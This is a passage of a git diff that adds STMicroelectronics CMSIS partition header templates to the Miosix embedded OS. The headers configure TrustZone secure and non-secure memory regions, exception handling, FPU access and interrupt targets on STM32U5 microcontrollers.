(SCB->SCR & ~(SCB_SCR_SLEEPDEEPS_Msk )) | + ((SCB_CSR_DEEPSLEEPS_VAL << SCB_SCR_SLEEPDEEPS_Pos) & SCB_SCR_SLEEPDEEPS_Msk); + + SCB->AIRCR = (SCB->AIRCR & ~(SCB_AIRCR_VECTKEY_Msk | SCB_AIRCR_SYSRESETREQS_Msk | + SCB_AIRCR_BFHFNMINS_Msk | SCB_AIRCR_PRIS_Msk) ) | + ((0x05FAU << SCB_AIRCR_VECTKEY_Pos) & SCB_AIRCR_VECTKEY_Msk) | + ((SCB_AIRCR_SYSRESETREQS_VAL << SCB_AIRCR_SYSRESETREQS_Pos) & SCB_AIRCR_SYSRESETREQS_Msk) | + ((SCB_AIRCR_PRIS_VAL << SCB_AIRCR_PRIS_Pos) & SCB_AIRCR_PRIS_Msk) | + ((SCB_AIRCR_BFHFNMINS_VAL << SCB_AIRCR_BFHFNMINS_Pos) & SCB_AIRCR_BFHFNMINS_Msk); + #endif /* defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) */ + + #if defined (__FPU_USED) && (__FPU_USED == 1U) && \ + defined (TZ_FPU_NS_USAGE) && (TZ_FPU_NS_USAGE == 1U) + + SCB->NSACR = (SCB->NSACR & ~(SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)) | + ((SCB_NSACR_CP10_11_VAL << SCB_NSACR_CP10_Pos) & (SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)); + + FPU->FPCCR = (FPU->FPCCR & ~(FPU_FPCCR_TS_Msk | FPU_FPCCR_CLRONRETS_Msk | FPU_FPCCR_CLRONRET_Msk)) | + ((FPU_FPCCR_TS_VAL << FPU_FPCCR_TS_Pos ) & FPU_FPCCR_TS_Msk ) | + ((FPU_FPCCR_CLRONRETS_VAL << FPU_FPCCR_CLRONRETS_Pos) & FPU_FPCCR_CLRONRETS_Msk) | + ((FPU_FPCCR_CLRONRET_VAL << FPU_FPCCR_CLRONRET_Pos ) & FPU_FPCCR_CLRONRET_Msk ); + #endif + + #if defined (NVIC_INIT_ITNS0) && (NVIC_INIT_ITNS0 == 1U) + NVIC->ITNS[0] = NVIC_INIT_ITNS0_VAL; + #endif + + #if defined (NVIC_INIT_ITNS1) && (NVIC_INIT_ITNS1 == 1U) + NVIC->ITNS[1] = NVIC_INIT_ITNS1_VAL; + #endif + + #if defined (NVIC_INIT_ITNS2) && (NVIC_INIT_ITNS2 == 1U) + NVIC->ITNS[2] = NVIC_INIT_ITNS2_VAL; + #endif + + #if defined (NVIC_INIT_ITNS3) && (NVIC_INIT_ITNS3 == 1U) + NVIC->ITNS[3] = NVIC_INIT_ITNS3_VAL; + #endif + +} + +#endif /* PARTITION_STM32U545XX_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u575xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u575xx.h new file mode 100644 index 000000000..850f885b4 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u575xx.h @@ -0,0 +1,658 @@ +/** + ****************************************************************************** + * @file partition_stm32u575xx.h + * @author MCD Application Team + * @brief CMSIS STM32U575xx Device Initial Setup for Secure / Non-Secure Zones + * for ARMCM33 based on CMSIS CORE partition_ARMCM33.h Template. + * + * This file contains: + * - Initialize Security Attribution Unit (SAU) CTRL register + * - Setup behavior of Sleep and Exception Handling + * - Setup behavior of Floating Point Unit + * - Setup Interrupt Target + * + ****************************************************************************** + * Copyright (c) 2009-2019 Arm Limited. All rights reserved. + * Copyright (c) 2023 STMicroelectronics. All rights reserved. + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the License); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an AS IS BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ****************************************************************************** + */ + +#ifndef PARTITION_STM32U575XX_H +#define PARTITION_STM32U575XX_H + +/* +//-------- <<< Use Configuration Wizard in Context Menu >>> ----------------- +*/ + +/* +// Initialize Security Attribution Unit (SAU) CTRL register +*/ +#define SAU_INIT_CTRL 1 + +/* +// Enable SAU +// Value for SAU->CTRL register bit ENABLE +*/ +#define SAU_INIT_CTRL_ENABLE 0 + +/* +// When SAU is disabled +// <0=> All Memory is Secure +// <1=> All Memory is Non-Secure +// Value for SAU->CTRL register bit ALLNS +// When all Memory is Non-Secure (ALLNS is 1), IDAU can override memory map configuration. +*/ +#define SAU_INIT_CTRL_ALLNS 1 + +/* +// +*/ + +/* +// Initialize Security Attribution Unit (SAU) Address Regions +// SAU configuration specifies regions to be one of: +// - Secure and Non-Secure Callable +// - Non-Secure +// Note: All memory regions not configured by SAU are Secure +*/ +#define SAU_REGIONS_MAX 8 /* Max. number of SAU regions */ + +/* +// Initialize SAU Region 0 +// Setup SAU Region 0 memory attributes +*/ +#define SAU_INIT_REGION0 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START0 0x0C0FE000 /* start address of SAU region 0 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END0 0x0C0FFFFF /* end address of SAU region 0 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC0 1 +/* +// +*/ + +/* +// Initialize SAU Region 1 +// Setup SAU Region 1 memory attributes +*/ +#define SAU_INIT_REGION1 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START1 0x08100000 /* start address of SAU region 1 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END1 0x081FFFFF /* end address of SAU region 1 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC1 0 +/* +// +*/ + +/* +// Initialize SAU Region 2 +// Setup SAU Region 2 memory attributes +*/ +#define SAU_INIT_REGION2 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START2 0x20040000 /* start address of SAU region 2 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END2 0x200BFFFF /* end address of SAU region 2 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC2 0 +/* +// +*/ + +/* +// Initialize SAU Region 3 +// Setup SAU Region 3 memory attributes +*/ +#define SAU_INIT_REGION3 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START3 0x40000000 /* start address of SAU region 3 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END3 0x4FFFFFFF /* end address of SAU region 3 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC3 0 +/* +// +*/ + +/* +// Initialize SAU Region 4 +// Setup SAU Region 4 memory attributes +*/ +#define SAU_INIT_REGION4 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START4 0x60000000 /* start address of SAU region 4 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END4 0x9FFFFFFF /* end address of SAU region 4 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC4 0 +/* +// +*/ + +/* +// Initialize SAU Region 5 +// Setup SAU Region 5 memory attributes +*/ +#define SAU_INIT_REGION5 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START5 0x0BF90000 /* start address of SAU region 5 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END5 0x0BFA8FFF /* end address of SAU region 5 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC5 0 +/* +// +*/ + +/* +// Initialize SAU Region 6 +// Setup SAU Region 6 memory attributes +*/ +#define SAU_INIT_REGION6 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START6 0x00000000 /* start address of SAU region 6 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END6 0x00000000 /* end address of SAU region 6 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC6 0 +/* +// +*/ + +/* +// Initialize SAU Region 7 +// Setup SAU Region 7 memory attributes +*/ +#define SAU_INIT_REGION7 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START7 0x00000000 /* start address of SAU region 7 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END7 0x00000000 /* end address of SAU region 7 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC7 0 +/* +// +*/ + +/* +// +*/ + +/* +// Setup behaviour of Sleep and Exception Handling +*/ +#define SCB_CSR_AIRCR_INIT 0 + +/* +// Deep Sleep can be enabled by +// <0=>Secure and Non-Secure state +// <1=>Secure state only +// Value for SCB->CSR register bit DEEPSLEEPS +*/ +#define SCB_CSR_DEEPSLEEPS_VAL 0 + +/* +// System reset request accessible from +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for SCB->AIRCR register bit SYSRESETREQS +*/ +#define SCB_AIRCR_SYSRESETREQS_VAL 0 + +/* +// Priority of Non-Secure exceptions is +// <0=> Not altered +// <1=> Lowered to 0x04-0x07 +// Value for SCB->AIRCR register bit PRIS +*/ +#define SCB_AIRCR_PRIS_VAL 0 + +/* +// BusFault, HardFault, and NMI target +// <0=> Secure state +// <1=> Non-Secure state +// Value for SCB->AIRCR register bit BFHFNMINS +*/ +#define SCB_AIRCR_BFHFNMINS_VAL 0 + +/* +// +*/ + +/* +// Setup behaviour of Floating Point Unit +*/ +#define TZ_FPU_NS_USAGE 1 + +/* +// Floating Point Unit usage +// <0=> Secure state only +// <3=> Secure and Non-Secure state +// Value for SCB->NSACR register bits CP10, CP11 +*/ +#define SCB_NSACR_CP10_11_VAL 3 + +/* +// Treat floating-point registers as Secure +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit TS +*/ +#define FPU_FPCCR_TS_VAL 0 + +/* +// Clear on return (CLRONRET) accessibility +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for FPU->FPCCR register bit CLRONRETS +*/ +#define FPU_FPCCR_CLRONRETS_VAL 0 + +/* +// Clear floating-point caller saved registers on exception return +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit CLRONRET +*/ +#define FPU_FPCCR_CLRONRET_VAL 1 + +/* +// +*/ + +/* +// Setup Interrupt Target +*/ + +/* +// Initialize ITNS 0 (Interrupts 0..31) +*/ +#define NVIC_INIT_ITNS0 1 + +/* +// Interrupts 0..31 +// WWDG_IRQn <0=> Secure state <1=> Non-Secure state +// PVD_PVM_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_S_IRQn <0=> Secure state <1=> Non-Secure state +// TAMP_IRQn <0=> Secure state <1=> Non-Secure state +// RAMCFG_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_S_IRQn <0=> Secure state <1=> Non-Secure state +// GTZC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_S_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI0_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI1_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI2_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI3_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI4_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI5_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI6_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI7_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI8_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI9_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI10_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI11_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI12_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI13_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI14_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI15_IRQn <0=> Secure state <1=> Non-Secure state +// IWDG_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS0_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 1 (Interrupts 32..63) +*/ +#define NVIC_INIT_ITNS1 1 + +/* +// Interrupts 32..63 +// GPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// ADC1_IRQn <0=> Secure state <1=> Non-Secure state +// DAC1_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_CC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM3_IRQn <0=> Secure state <1=> Non-Secure state +// TIM4_IRQn <0=> Secure state <1=> Non-Secure state +// TIM5_IRQn <0=> Secure state <1=> Non-Secure state +// TIM6_IRQn <0=> Secure state <1=> Non-Secure state +// TIM7_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_CC_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SPI2_IRQn <0=> Secure state <1=> Non-Secure state +// USART1_IRQn <0=> Secure state <1=> Non-Secure state +// USART2_IRQn <0=> Secure state <1=> Non-Secure state +// USART3_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS1_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 2 (Interrupts 64..95) +*/ +#define NVIC_INIT_ITNS2 1 + +/* +// Interrupts 64..95 +// UART4_IRQn <0=> Secure state <1=> Non-Secure state +// UART5_IRQn <0=> Secure state <1=> Non-Secure state +// LPUART1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM15_IRQn <0=> Secure state <1=> Non-Secure state +// TIM16_IRQn <0=> Secure state <1=> Non-Secure state +// TIM17_IRQn <0=> Secure state <1=> Non-Secure state +// COMP_IRQn <0=> Secure state <1=> Non-Secure state +// OTG_FS_IRQn <0=> Secure state <1=> Non-Secure state +// CRS_IRQn <0=> Secure state <1=> Non-Secure state +// FMC_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// PWR_S3WU_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC1_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel8_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel9_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel10_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel11_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel12_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel13_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel14_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel15_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SAI1_IRQn <0=> Secure state <1=> Non-Secure state +// SAI2_IRQn <0=> Secure state <1=> Non-Secure state +// TSC_IRQn <0=> Secure state <1=> Non-Secure state +// RNG_IRQn <0=> Secure state <1=> Non-Secure state +// FPU_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS2_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 3 (Interrupts 96..125) +*/ +#define NVIC_INIT_ITNS3 1 + +/* +// Interrupts 96..125 +// HASH_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM3_IRQn <0=> Secure state <1=> Non-Secure state +// SPI3_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_EV_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT0_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT1_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT2_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT3_IRQn <0=> Secure state <1=> Non-Secure state +// UCPD1_IRQn <0=> Secure state <1=> Non-Secure state +// ICACHE_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM4_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE1_IRQn <0=> Secure state <1=> Non-Secure state +// ADF1_IRQn <0=> Secure state <1=> Non-Secure state +// ADC4_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// DMA2D_IRQn <0=> Secure state <1=> Non-Secure state +// DCMI_PSSI_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI2_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT4_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT5_IRQn <0=> Secure state <1=> Non-Secure state +// CORDIC_IRQn <0=> Secure state <1=> Non-Secure state +// FMAC_IRQn <0=> Secure state <1=> Non-Secure state +// LSECSSD_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS3_VAL 0x00000000 + +/* +// +*/ + +/* +// +*/ + +/* + max 8 SAU regions. + SAU regions are defined in partition.h + */ + +#define SAU_INIT_REGION(n) \ + SAU->RNR = (n & SAU_RNR_REGION_Msk); \ + SAU->RBAR = (SAU_INIT_START##n & SAU_RBAR_BADDR_Msk); \ + SAU->RLAR = (SAU_INIT_END##n & SAU_RLAR_LADDR_Msk) | \ + ((SAU_INIT_NSC##n << SAU_RLAR_NSC_Pos) & SAU_RLAR_NSC_Msk) | 1U + +/** + \brief Setup a SAU Region + \details Writes the region information contained in SAU_Region to the + registers SAU_RNR, SAU_RBAR, and SAU_RLAR + */ +__STATIC_INLINE void TZ_SAU_Setup (void) +{ + +#if defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) + + #if defined (SAU_INIT_REGION0) && (SAU_INIT_REGION0 == 1U) + SAU_INIT_REGION(0); + #endif + + #if defined (SAU_INIT_REGION1) && (SAU_INIT_REGION1 == 1U) + SAU_INIT_REGION(1); + #endif + + #if defined (SAU_INIT_REGION2) && (SAU_INIT_REGION2 == 1U) + SAU_INIT_REGION(2); + #endif + + #if defined (SAU_INIT_REGION3) && (SAU_INIT_REGION3 == 1U) + SAU_INIT_REGION(3); + #endif + + #if defined (SAU_INIT_REGION4) && (SAU_INIT_REGION4 == 1U) + SAU_INIT_REGION(4); + #endif + + #if defined (SAU_INIT_REGION5) && (SAU_INIT_REGION5 == 1U) + SAU_INIT_REGION(5); + #endif + + #if defined (SAU_INIT_REGION6) && (SAU_INIT_REGION6 == 1U) + SAU_INIT_REGION(6); + #endif + + #if defined (SAU_INIT_REGION7) && (SAU_INIT_REGION7 == 1U) + SAU_INIT_REGION(7); + #endif + + /* repeat this for all possible SAU regions */ + +#endif /* defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) */ + + + #if defined (SAU_INIT_CTRL) && (SAU_INIT_CTRL == 1U) + SAU->CTRL = ((SAU_INIT_CTRL_ENABLE << SAU_CTRL_ENABLE_Pos) & SAU_CTRL_ENABLE_Msk) | + ((SAU_INIT_CTRL_ALLNS << SAU_CTRL_ALLNS_Pos) & SAU_CTRL_ALLNS_Msk) ; + #endif + + #if defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) + SCB->SCR = (SCB->SCR & ~(SCB_SCR_SLEEPDEEPS_Msk )) | + ((SCB_CSR_DEEPSLEEPS_VAL << SCB_SCR_SLEEPDEEPS_Pos) & SCB_SCR_SLEEPDEEPS_Msk); + + SCB->AIRCR = (SCB->AIRCR & ~(SCB_AIRCR_VECTKEY_Msk | SCB_AIRCR_SYSRESETREQS_Msk | + SCB_AIRCR_BFHFNMINS_Msk | SCB_AIRCR_PRIS_Msk) ) | + ((0x05FAU << SCB_AIRCR_VECTKEY_Pos) & SCB_AIRCR_VECTKEY_Msk) | + ((SCB_AIRCR_SYSRESETREQS_VAL << SCB_AIRCR_SYSRESETREQS_Pos) & SCB_AIRCR_SYSRESETREQS_Msk) | + ((SCB_AIRCR_PRIS_VAL << SCB_AIRCR_PRIS_Pos) & SCB_AIRCR_PRIS_Msk) | + ((SCB_AIRCR_BFHFNMINS_VAL << SCB_AIRCR_BFHFNMINS_Pos) & SCB_AIRCR_BFHFNMINS_Msk); + #endif /* defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) */ + + #if defined (__FPU_USED) && (__FPU_USED == 1U) && \ + defined (TZ_FPU_NS_USAGE) && (TZ_FPU_NS_USAGE == 1U) + + SCB->NSACR = (SCB->NSACR & ~(SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)) | + ((SCB_NSACR_CP10_11_VAL << SCB_NSACR_CP10_Pos) & (SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)); + + FPU->FPCCR = (FPU->FPCCR & ~(FPU_FPCCR_TS_Msk | FPU_FPCCR_CLRONRETS_Msk | FPU_FPCCR_CLRONRET_Msk)) | + ((FPU_FPCCR_TS_VAL << FPU_FPCCR_TS_Pos ) & FPU_FPCCR_TS_Msk ) | + ((FPU_FPCCR_CLRONRETS_VAL << FPU_FPCCR_CLRONRETS_Pos) & FPU_FPCCR_CLRONRETS_Msk) | + ((FPU_FPCCR_CLRONRET_VAL << FPU_FPCCR_CLRONRET_Pos ) & FPU_FPCCR_CLRONRET_Msk ); + #endif + + #if defined (NVIC_INIT_ITNS0) && (NVIC_INIT_ITNS0 == 1U) + NVIC->ITNS[0] = NVIC_INIT_ITNS0_VAL; + #endif + + #if defined (NVIC_INIT_ITNS1) && (NVIC_INIT_ITNS1 == 1U) + NVIC->ITNS[1] = NVIC_INIT_ITNS1_VAL; + #endif + + #if defined (NVIC_INIT_ITNS2) && (NVIC_INIT_ITNS2 == 1U) + NVIC->ITNS[2] = NVIC_INIT_ITNS2_VAL; + #endif + + #if defined (NVIC_INIT_ITNS3) && (NVIC_INIT_ITNS3 == 1U) + NVIC->ITNS[3] = NVIC_INIT_ITNS3_VAL; + #endif + +} + +#endif /* PARTITION_STM32U575XX_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u585xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u585xx.h new file mode 100644 index 000000000..48f829300 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u585xx.h @@ -0,0 +1,663 @@ +/** + ****************************************************************************** + * @file partition_stm32u585xx.h + * @author MCD Application Team + * @brief CMSIS STM32U585xx Device Initial Setup for Secure / Non-Secure Zones + * for ARMCM33 based on CMSIS CORE partition_ARMCM33.h Template. + * + * This file contains: + * - Initialize Security Attribution Unit (SAU) CTRL register + * - Setup behavior of Sleep and Exception Handling + * - Setup behavior of Floating Point Unit + * - Setup Interrupt Target + * + ****************************************************************************** + * Copyright (c) 2009-2019 Arm Limited. All rights reserved. + * Copyright (c) 2023 STMicroelectronics. All rights reserved. + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the License); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an AS IS BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ****************************************************************************** + */ + +#ifndef PARTITION_STM32U585XX_H +#define PARTITION_STM32U585XX_H + +/* +//-------- <<< Use Configuration Wizard in Context Menu >>> ----------------- +*/ + +/* +// Initialize Security Attribution Unit (SAU) CTRL register +*/ +#define SAU_INIT_CTRL 1 + +/* +// Enable SAU +// Value for SAU->CTRL register bit ENABLE +*/ +#define SAU_INIT_CTRL_ENABLE 0 + +/* +// When SAU is disabled +// <0=> All Memory is Secure +// <1=> All Memory is Non-Secure +// Value for SAU->CTRL register bit ALLNS +// When all Memory is Non-Secure (ALLNS is 1), IDAU can override memory map configuration. +*/ +#define SAU_INIT_CTRL_ALLNS 1 + +/* +// +*/ + +/* +// Initialize Security Attribution Unit (SAU) Address Regions +// SAU configuration specifies regions to be one of: +// - Secure and Non-Secure Callable +// - Non-Secure +// Note: All memory regions not configured by SAU are Secure +*/ +#define SAU_REGIONS_MAX 8 /* Max. number of SAU regions */ + +/* +// Initialize SAU Region 0 +// Setup SAU Region 0 memory attributes +*/ +#define SAU_INIT_REGION0 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START0 0x0C0FE000 /* start address of SAU region 0 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END0 0x0C0FFFFF /* end address of SAU region 0 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC0 1 +/* +// +*/ + +/* +// Initialize SAU Region 1 +// Setup SAU Region 1 memory attributes +*/ +#define SAU_INIT_REGION1 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START1 0x08100000 /* start address of SAU region 1 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END1 0x081FFFFF /* end address of SAU region 1 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC1 0 +/* +// +*/ + +/* +// Initialize SAU Region 2 +// Setup SAU Region 2 memory attributes +*/ +#define SAU_INIT_REGION2 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START2 0x20040000 /* start address of SAU region 2 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END2 0x200BFFFF /* end address of SAU region 2 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC2 0 +/* +// +*/ + +/* +// Initialize SAU Region 3 +// Setup SAU Region 3 memory attributes +*/ +#define SAU_INIT_REGION3 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START3 0x40000000 /* start address of SAU region 3 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END3 0x4FFFFFFF /* end address of SAU region 3 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC3 0 +/* +// +*/ + +/* +// Initialize SAU Region 4 +// Setup SAU Region 4 memory attributes +*/ +#define SAU_INIT_REGION4 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START4 0x60000000 /* start address of SAU region 4 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END4 0x9FFFFFFF /* end address of SAU region 4 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC4 0 +/* +// +*/ + +/* +// Initialize SAU Region 5 +// Setup SAU Region 5 memory attributes +*/ +#define SAU_INIT_REGION5 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ 